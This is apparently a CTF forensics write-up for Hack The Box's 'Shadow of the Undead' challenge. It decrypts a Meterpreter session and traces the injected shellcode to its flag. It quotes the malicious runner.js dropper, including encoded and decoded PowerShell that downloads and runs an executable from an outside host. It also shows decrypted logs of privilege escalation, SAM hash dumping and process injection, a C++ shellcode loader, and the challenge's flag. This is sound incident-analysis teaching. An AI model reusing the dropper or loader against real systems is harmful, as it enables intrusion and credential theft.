Hack The Box's University CTF is always an important moment at HackademINT, and at this point, dedicating a weekend to the forensics challenges is becoming a tradition for me. This year, I focused solely on the hardest one, Shadow of the Undead, leaving the easier ones to other team members with less experience. We cleared the forensics category in about 19 hours, and I went on to help with other categories.
Join me as I try to contain the spread of the dangerous biohazard waste on the Hackster University campus. We might even stumble on some Meterpreter shellcodes along the way...
Biohazard? Where?
The challenge provides two files: a network capture and a crash-dump. The crash-dump is in the Mini DuMP format commonly found on Windows, so that gives us a first idea regarding the machine we will be investigating.
This is confirmed when looking at the strings in the dump
(don't forget to extract UTF-16 strings with strings e -l
on Windows machines).
Network capture
Let's look at the PCAP. Wireshark's conversation tool is handy to get a first impression (in the statistics section). This way, we can immediately see that the PCAP only contains 4 TCP streams, the last one being the longest. We also notice the familiar green of HTTP requests in the first three streams, and take a look at the last one, which appears to be encrypted (right-click on a packet -> follow TCP stream). Finally, we export all HTTP objects from the stream (File -> Export objects -> HTTP).
It looks like 10.1.1.3
has been compromised, and we can already propose a theory of what happened.
- A
runner.js
file was sent from10.1.1.1
to10.1.1.3
and executed as a first stage. - A second stage,
st.exe
was downloaded. Considering the name, the crashdump might be coming from this executable. - A
biohazard_containment_update.pdf
PDF file was downloaded. This isn't used in any way later. - The second stage started communicating with its control server in an encrypted connection.
runner.js
It is not always useful to look at the first stage when we already have the second one, but the file is short, so we might as well have a glance.
var sh = new ActiveXObject("WScript.Shell");
sh.Run(
"powershell.exe -W Hidden -nop -ep bypass -NoExit -E JABuAGEAbQBlACAAPQAgACIAYgBpAG8AaABhAHoAYQByAGQAXwBjAG8AbgB0AGEAaQBuAG0AZQBuAHQAXwB1AHAAZABhAHQAZQAuAHAAZABmACIADQAKACQAcABhAHQAaAAgAD0AIAAiACQAZQBuAHYAOgBUAEUATQBQAFwAXAAkAG4AYQBtAGUAIgANAAoASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAFIASQAgACIAaAB0AHQAcAA6AC8ALwBzAHQAbwByAGEAZwBlAC4AbQBpAGMAcgBvAHMAbwBmAHQAYwBsAG8AdQBkAHMAZQByAHYAaQBjAGUAcwAuAGMAbwBtADoAOAA4ADEANwAvACQAbgBhAG0AZQAiACAALQBPAHUAdABGAGkAbABlACAAJABwAGEAdABoAA0ACgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABwAGEAdABoAA=="
);
sh.Run(
"powershell.exe -W Hidden -nop -ep bypass -NoExit -E aQB3AHIAIAAtAHUAcgBpACAAaAB0AHQAcAA6AC8ALwBzAHQAbwByAGEAZwBlAC4AbQBpAGMAcgBvAHMAbwBmAHQAYwBsAG8AdQBkAHMAZQByAHYAaQBjAGUAcwAuAGMAbwBtADoAOAA4ADEANwAvAHMAdAAuAGUAeABlACAALQBvAHUAdABmAGkAbABlACAAJABlAG4AdgA6AFQARQBNAFAAXABzAHQALgBlAHgAZQANAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcwB0AC4AZQB4AGUAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMA"
);
var js_file_path = WScript.ScriptFullName;
sh.Run("cmd.exe /c del " + js_file_path);
Nothing fancy, it executes two powershell payloads encoded as base64 and deletes itself.
And it turns out all the payloads do is download the .exe
and .pdf
files, as expected.
They can be decoded with CyberChef.
$name = "biohazard_containment_update.pdf"
$path = "$env:TEMP\\$name"
Invoke-WebRequest -URI "http://storage.microsoftcloudservices.com:8817/$name" -OutFile $path
Start-Process $path
iwr -uri http://storage.microsoftcloudservices.com:8817/st.exe -outfile $env:TEMP\st.exe
Start-Process $env:TEMP\st.exe -Verb RunAs
st.exe
VirusTotal has yet to let me down when it comes to identifying malicious executables (in some cases, it even does 99% of the challenge). Here, it quickly identifies a meterpreter reverse-shell from the Metasploit framework.
Decrypting the meterpreter traffic
Meterpreter is open-source, and we are provided with a memory dump which may contain the encryption keys, so there are good chances we might be able to decrypt the traffic.
To do so, we will start by saving the meterpreter traffic to its own msf.pcap
file for convenience.
We can do so by setting the filter to tcp.stream == 3
to only render the TCP session from the malware
and by then exporting the packets (Files -> Export Specified Packets).
When it comes to the decryption, the heavy lifting has already been done for us, and we can follow 0xdf's HTB: Response walkthrough. All credits go to him for the decryption script that follows, I merely adapted it. His writeup is a pretty good read.
#!/usr/bin/env python3
# Originally from https://gitlab.com/0xdf/ctfscripts/-/tree/master/htb-response
# You need to get msfconsts from there for it to work!
import uuid
from Crypto.Cipher import AES
from scapy.all import *
from msfconsts import tlv_types, cmd_ids
enc_types = {0: "None", 1: "AES256", 2: "AES128"}
packet_types = {0: "Req", 1: "Resp"}
aes_key = bytes.fromhex('06 57 1f fb 8b 42 b0 4b 30 c6 ba 58 29 f0 66 81 c2 89 bd bd 88 21 59 e3 d2 d3 19 7b dd 69 da 9e')
open('docs_backup.zip', 'w').close() # clear zip file
def xor(buf, key):
return bytes([x ^ key[i % len(key)] for i, x in enumerate(buf)])
# pull all bytes into a stream
pcap = rdpcap("./msf.pcap")
stream = b"".join([bytes(packet[TCP].payload) for packet in pcap if TCP in packet])
i = 0
while i < len(stream):
xor_head = stream[i:i+32]
xor_key = xor_head[:4]
head = xor(xor_head, xor_key)
session_guid = head[4:20]
enc_flag = int.from_bytes(head[20:24], "big")
packet_len = int.from_bytes(head[24:28], "big")
packet_type = int.from_bytes(head[28:32], "big")
print(f"Packet: type={packet_types[packet_type]:<4} len={packet_len:<8} enc={enc_types[enc_flag]} sess={uuid.UUID(bytes=session_guid)}")
tlv_data = xor(stream[i+32:i+packet_len+24], xor_key)
if enc_flag == 1:
aes_iv = tlv_data[:16]
cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv)
tlv_data = cipher.decrypt(tlv_data[16:])
j = 0
req_id = 0
while j < len(tlv_data):
l = int.from_bytes(tlv_data[j:j+4], 'big')
if j + l > len(tlv_data) or l == 0:
break
t = int.from_bytes(tlv_data[j+4:j+8], 'big')
v = tlv_data[j+8:j+l]
if t == 0x20001: #COMMAND_ID
v = cmd_ids[int.from_bytes(v[:4], 'big')]
elif t == (1 << 16) | 2: # REQUEST_ID
req_id = v[:-1].decode('ascii')
if len(v) > 50:
fname = f"large/{req_id}"
with open(fname, 'wb') as f:
f.write(v)
print(f"Dumped {fname}")
v = v[:50] + b"..."
print(f"TLV l={l:<8} t={tlv_types.get(t, '?'):<26} v={v}")
j += l
i += 24 + packet_len
I used findaes
to recover the encryption key from the memory dump.
The complete output of the script is available here. What follows is a curated version with additional comments. Reading Metasploit's source code was necessary to really understand what was going on.
// Prelude: setup encryption and session UUID, enumerate available command
Packet: type=Req len=363 enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_NEGOTIATE_TLV_ENCRYPTION
TLV l=302 t=TLV_TYPE_RSA_PUB_KEY v=b'0\x82\x01"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x01\x0f\x000\x82\x01\n\x02\x82\x01\x01\x00\xe5h\x822\xcd\xccI\xab\x17\x9d\xea.\x8d\x06\x95\xe3\xac...'
Packet: type=Resp len=373 enc=None sess=00000000-0000-0000-0000-000000000000
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_NEGOTIATE_TLV_ENCRYPTION
TLV l=264 t=TLV_TYPE_ENC_SYM_KEY v=b'N\x16H\xa0\x8c\x83\xd8\x80<\x1c\xc5\xec\xdb\x01B\xa6z\xc6\xa3\xcd\x9b\xa2\xda\xe4a!\x98G\x87\xb7a\xf6ae\xca>\x05mZ3N\xc0\xae\xc8\xa3\xf9\x86,\xf8\xba...'
Packet: type=Req len=104 enc=AES256 sess=00000000-0000-0000-0000-000000000000
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_SET_SESSION_GUID
Packet: type=Resp len=120 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=24 t=TLV_TYPE_UUID v=b'A\x05462\xcb\xee\x80`wau\x05\x11\x0c\x03'
Packet: type=Req len=104 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_ENUMEXTCMD
Packet: type=Resp len=488 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_ENUMEXTCMD
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x00\x11' // These are meterpreter command IDs
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x00\x13'
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x00\x12'
...
// Load an extension
Packet: type=Req len=185496 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_LOADLIB
TLV l=26 t=TLV_TYPE_LIBRARY_PATH v=b'ext370972.x64.dll\x00'
TLV l=31 t=TLV_TYPE_TARGET_PATH v=b'/tmp/ext370972.x64.dll\x00'
Packet: type=Resp len=1480 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_LOADLIB
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x04V'
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x04Z'
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x04W'
...
Packet: type=Req len=88 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_FS_GETWD
Packet: type=Resp len=136 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_FS_GETWD
TLV l=16 t=TLV_TYPE_DIRECTORY_PATH v=b'C:\\Temp\x00'
Packet: type=Req len=88 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_GETUID
Packet: type=Resp len=152 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_GETUID
TLV l=34 t=TLV_TYPE_USER_NAME v=b'WS01-HACKSTER\\HSTER-ADMIN\x00'
Packet: type=Req len=88 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_SYSINFO
Packet: type=Resp len=232 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_SYSINFO
TLV l=22 t=TLV_TYPE_COMPUTER_NAME v=b'WS01-HACKSTER\x00'
TLV l=39 t=TLV_TYPE_OS_NAME v=b'Windows 10 (10.0 Build 19044).\x00'
TLV l=12 t=TLV_TYPE_ARCHITECTURE v=b'x64\x00'
TLV l=14 t=? v=b'en_US\x00'
TLV l=18 t=? v=b'WORKGROUP\x00'
TLV l=12 t=? v=b'\x00\x00\x00\x02'
TLV l=12 t=TLV_TYPE_RESULT v=b'\x00\x00\x00\x00'
TLV l=24 t=TLV_TYPE_UUID v=b'A\x05462\xcb\xee\x80`wau\x05\x11\x0c\x03'
// Enumerates interfaces and routes
// Enumerate commands from an extension and loads one more
Packet: type=Req len=104 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_ENUMEXTCMD
Packet: type=Resp len=120 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_ENUMEXTCMD
Packet: type=Req len=70824 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_LOADLIB
TLV l=26 t=TLV_TYPE_LIBRARY_PATH v=b'ext718447.x64.dll\x00'
TLV l=31 t=TLV_TYPE_TARGET_PATH v=b'/tmp/ext718447.x64.dll\x00'
Packet: type=Resp len=200 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=CORE_LOADLIB
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x07\xd2'
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x07\xd3'
TLV l=12 t=TLV_TYPE_UINT v=b'\x00\x00\x07\xd6'
...
// Gets system information again
// Escalates to NT Authority
Packet: type=Req len=90760 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=PRIV_ELEVATE_GETSYSTEM
TLV l=15 t=? v=b'rmnbsq\x00'
Dumped large/59420933201128270192671019416767
Packet: type=Resp len=136 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=PRIV_ELEVATE_GETSYSTEM
Packet: type=Req len=88 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_FS_GETWD
Packet: type=Resp len=136 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_FS_GETWD
TLV l=16 t=TLV_TYPE_DIRECTORY_PATH v=b'C:\\Temp\x00'
Packet: type=Req len=88 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_GETUID
Packet: type=Resp len=152 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_GETUID
TLV l=28 t=TLV_TYPE_USER_NAME v=b'NT AUTHORITY\\SYSTEM\x00'
Packet: type=Req len=88 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_GETPRIVS
Packet: type=Resp len=904 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_GETPRIVS
TLV l=26 t=? v=b'SeBackupPrivilege\x00'
TLV l=32 t=? v=b'SeChangeNotifyPrivilege\x00'
...
// Dumps password hashes
Packet: type=Req len=88 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=PRIV_PASSWD_GET_SAM_HASHES
Packet: type=Resp len=664 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=PRIV_PASSWD_GET_SAM_HASHES
Dumped large/11832503645685158485056553046951
TLV l=536 t=? v=b'Administrator:500:aad3b435b51404eeaad3b435b51404ee...'
Packet: type=Req len=104 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_GETENV
TLV l=15 t=TLV_TYPE_ENV_VARIABLE v=b'windir\x00'
Packet: type=Resp len=168 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_CONFIG_GETENV
TLV l=42 t=TLV_TYPE_ENV_GROUP v=b'\x00\x00\x00\x0f\x00\x01\x04Lwindir\x00\x00\x00\x00\x13\x00\x01\x04MC:\\Windows\x00'
// Start a new notepad process
Packet: type=Req len=168 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_EXECUTE
TLV l=40 t=TLV_TYPE_PROCESS_PATH v=b'C:\\Windows\\System32\\notepad.exe\x00'
Packet: type=Resp len=152 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_EXECUTE
TLV l=12 t=TLV_TYPE_PID v=b'\x00\x00\x13\xf8'
TLV l=16 t=TLV_TYPE_PROCESS_HANDLE v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
// Injects and starts a shellcode into the new process
Packet: type=Req len=136 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_MEMORY_ALLOCATE
TLV l=16 t=TLV_TYPE_HANDLE v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
TLV l=12 t=TLV_TYPE_LENGTH v=b'\x00\x00\x14\x00'
TLV l=12 t=TLV_TYPE_ALLOCATION_TYPE v=b'\x00\x00\x10\x00'
TLV l=12 t=TLV_TYPE_PROTECTION v=b'\x00\x00\x00@'
Packet: type=Resp len=136 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_MEMORY_ALLOCATE
TLV l=16 t=TLV_TYPE_BASE_ADDRESS v=b'\x00\x00\x01[\x1c\x84\x00\x00'
TLV l=12 t=TLV_TYPE_RESULT v=b'\x00\x00\x00\x00'
Packet: type=Req len=136 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_MEMORY_PROTECT
TLV l=16 t=TLV_TYPE_HANDLE v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
TLV l=16 t=TLV_TYPE_BASE_ADDRESS v=b'\x00\x00\x01[\x1c\x84\x00\x00'
TLV l=12 t=TLV_TYPE_LENGTH v=b'\x00\x00\x10\x00'
TLV l=12 t=TLV_TYPE_PROTECTION v=b'\x00\x00\x00@'
Packet: type=Resp len=136 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_MEMORY_PROTECT
TLV l=12 t=TLV_TYPE_PROTECTION v=b'\x00\x00\x00@'
TLV l=12 t=TLV_TYPE_RESULT v=b'\x00\x00\x00\x00'
Packet: type=Req len=4728 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_MEMORY_WRITE
TLV l=16 t=TLV_TYPE_HANDLE v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
TLV l=16 t=TLV_TYPE_BASE_ADDRESS v=b'\x00\x00\x01[\x1c\x84\x00\x00'
Dumped large/74813780799176563392143533557538
TLV l=4616 t=TLV_TYPE_PROCESS_MEMORY v=b'VH\x8b\xf4H\x83\xe4\xf0H\x83\xec \xe8\x05\x00\x00\x00H\x8b\xe6^\xc3VWH\x81\xecH\x04\x00\x00H\x8d\x84$X\x02\x00\x00\xe8 \x00\x00\x00k\x00e\x00r\x00...'
Packet: type=Resp len=136 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_MEMORY_WRITE
Packet: type=Req len=152 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_THREAD_CREATE
TLV l=16 t=TLV_TYPE_PROCESS_HANDLE v=b'\x00\x00\x00\x00\x00\x00\x03\xf4'
TLV l=16 t=TLV_TYPE_ENTRY_POINT v=b'\x00\x00\x01[\x1c\x84\x00\x00'
TLV l=16 t=TLV_TYPE_ENTRY_PARAMETER v=b'\x00\x00\x00\x00\x00\x00\x00\x00'
TLV l=12 t=TLV_TYPE_CREATION_FLAGS v=b'\x00\x00\x00\x00'
Packet: type=Resp len=152 enc=AES256 sess=cc0491ab-6453-45a2-94fd-565bcf82db43
TLV l=12 t=TLV_TYPE_COMMAND_ID v=STDAPI_SYS_PROCESS_THREAD_CREATE
TLV l=12 t=TLV_TYPE_THREAD_ID v=b'\x00\x00\x16\xa4'
TLV l=16 t=TLV_TYPE_THREAD_HANDLE v=b'\x00\x00\x00\x00\x00\x00\x01\xbc'
Here is a summary of the information relevant to the end of the challenge:
- A Meterpreter session is started as
WS01-HACKSTER\HSTER-ADMIN
. - It escalates to
NT AUTHORITY\SYSTEM
using its admin privileges. - It starts a
notepad.exe
process. - It injects a shellcode into that new process.
Static shellcode analysis
Since we still don't have the flag, it looks like we will have to dig a bit deeper into that shellcode...
Looking at it in Radare2, it seems to contain a few fonctions,
one of which is xoring every second byte of two of its arguments of length 0x3c
(60).
That could be our flag, but how do we get there?
The rest of the shellcode is a lot less readable, but we can still notice a few interesting sections:
Loading a SAM\SAM\Domains\Account\Users\Names\biohazard_mgmt_guest
onto the stack
This is a registry key corresponding to the biohazard_mgmt_guest
Windows user.
The shellcode is probably doing something with it.
However, it is important to note that the SAM
registry hive is only accessible to NT Authority
,
so it will only be accessible if the process has the highest privileges possible and if that user exists.
Names of WinAPI functions
Dynamic shellcode analysis
At this point, I decided to go dynamic to hopefully work around the complexity of the shellcode. Let's open a Windows VM and write a shellcode loader in Visual Studio (don't mind the memory leak, it's a CTF after all...).
#include <windows.h>
#include <iostream>
using namespace std;
LPVOID readShellcode(LPCSTR filename, PDWORD fsize) {
HANDLE hFile = CreateFileA(filename, GENERIC_READ, NULL, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
*fsize = GetFileSize(hFile, NULL);
LPVOID buffer = VirtualAlloc(NULL, *fsize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (buffer == NULL) {
return NULL;
}
DWORD read;
if (!ReadFile(hFile, buffer, *fsize, &read, NULL)) {
CloseHandle(hFile);
return NULL;
}
CloseHandle(hFile);
return buffer;
}
void execShellcode(LPVOID shellcode, DWORD size) {
LPVOID buffer = VirtualAlloc(NULL, size, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
if (buffer == NULL) {
cout << "VirtualAlloc failed" << endl;
return;
}
CopyMemory(buffer, shellcode, size);
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, 0);
if (hThread == NULL) {
cout << "Thread is null";
return;
}
}
int main(void) {
DWORD pid = 12276;
DWORD size;
LPVOID shellcode = readShellcode("C:\\Users\\Smyler\\Desktop\\74813780799176563392143533557538.injected", &size);
if (shellcode == NULL) {
cout << "Failed to read shellcode" << endl;
return 1;
}
execShellcode(shellcode, size);
Sleep(10000000);
}
Running the shellcode and observing the process with Process Monitor,
we see the new thread exits after failing to read HKLM\SAM\SAM\Domains\Account\Users\Names\biohazard_mgmt_guest
,
so it looks like the registry key is either used as a check, or necessary for the shellcode to operate.
Now, we could try to replicate the expected environment by creating the user and executing the shellcode as NT Authority
,
but there might be additional checks after that, and we might be better off bypassing everything at runtime.
So, let's open the binary in x64dbg and set a breakpoint right before the shellcode's thread is started
(we just have to find our execShellcode
function in the symbole tab, and find the call to CreateThread
in the disassembly view).
Now, we want to set a breakpoint to the start of the shellcode, and that's not as easy since we don't know where it has
been loaded. We could edit the loader to print the address,
but another solution is to look for an unknown memory section with execute-read-write permissions.
It turns out there is only one, and looking at it in the disassembly view,
it has the start of the shellcode.
We can debug the shellcode this way, but unless we want to be here all day long clicking on the next instruction button, we need to be smarter to find the interesting instructions. We know the shellcode terminates right after trying to read a registry key, so we will try to find where exactly that happens.
On key difference between Linux and Windows is that Windows system call numbers can change from one version to another.
This is a problem for Windows shellcodes, as they cannot rely on syscalls to call the Kernel,
so they have to rely on the standard library instead.
Except with ASLR they neither know where the win api functions are in memory nor where they are loaded themselves.
One workaround is to find the kernel32.dll
PE header in memory,
then parse it to get its name pointer table and loop through that to get the address functions.
Read more on idafchev's blog.
Stepping through the start of the shellcode, it appears to be doing exactly that to get the address of GetProcAddress. That function is a gold mine for a shellcode, as it can be used to get the address of any function at runtime.
We can indeed set a breakpoint in GetProcAddress
, wait for it to be called with an interesting function (in my case RegGetValueA
),
return from it and see where we end up in the shellcode.
On the following screenshot, we can see that the address of GetProcAddress
is stored on the stack at [rsp+B0]
.
It gets called to retrieve the addresses of various functions, which in turn are stored on the stack.
We can take note of where in the stack they are stored for later.
Function | Address |
---|---|
GetProcAddress |
[rsp+B0] |
WinExec |
[rsp+168] |
lstrcat |
[rsp+170] |
RegGetValueA |
[rsp+118] |
RegSetKeyValueA |
[rsp+150] |
RegOpenKeyExA |
[rsp+140] |
Knowing this, we can look for calls to RegGetValueA
where the shellcode would be trying to read HKLM\SAM\SAM\Domains\Account\Users\Names\biohazard_mgmt_guest
,
and set breakpoints at the corresponding addresses (0x00000aac
and 0x00000b48
, plus the base address of the shellcode).
Then, we step over the call to RegGetValueA
and change the return value in rax
to 0
,
avoiding the jump that would have been normally taken after the function fails.
We repeat the same trick for the second call, and keep stepping until RegSetValueA
is called,
and we yet again change the return value to 0.
Then, we keep stepping until call 18EB1860C4F
, which we recognize as a call to the xoring function.
We can step inside and watch the loop decrypt the flag...
HTB{cust0m_S3rum-XY_sh3llc0de_4g41nst_H4ckst3r_Un1v3rs1ty!}
There are of course different ways to reach the flag, and probably easier, faster ones, but this was overall my thought process when solving the challenge.
You can read the official writeup by c4n0pus (the challenge author) to learn more. They used emulation to get the flag from the shellcode.